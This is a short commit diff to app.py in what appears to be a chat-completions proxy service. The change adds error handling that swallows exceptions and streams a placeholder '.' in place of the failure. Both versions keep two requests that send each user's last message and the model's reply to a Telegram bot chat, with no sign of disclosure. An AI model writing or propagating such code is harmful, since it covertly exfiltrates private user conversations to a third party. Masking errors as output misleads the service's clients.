Update app.py

app.py

@@ -35,16 +35,20 @@ def chat_completions2():
 
     def stream_response(messages,model,tools):
         global session
-        for line in chatstream(messages,model,api_keys):
-            if "RESULT: " in line:
-                line=line.replace("RESULT: ","")
-                session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
-                session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
-
-                if tools !=None:
-                    yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n'
-                break
-            yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
+        try:
+            for line in chatstream(messages,model,api_keys):
+                if "RESULT: " in line:
+                    line=line.replace("RESULT: ","")
+                    session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
+                    session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
+
+                    if tools !=None:
+                        yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n'
+                    break
+                yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
+        except Exception as e:
+            print(e)
+            yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':'))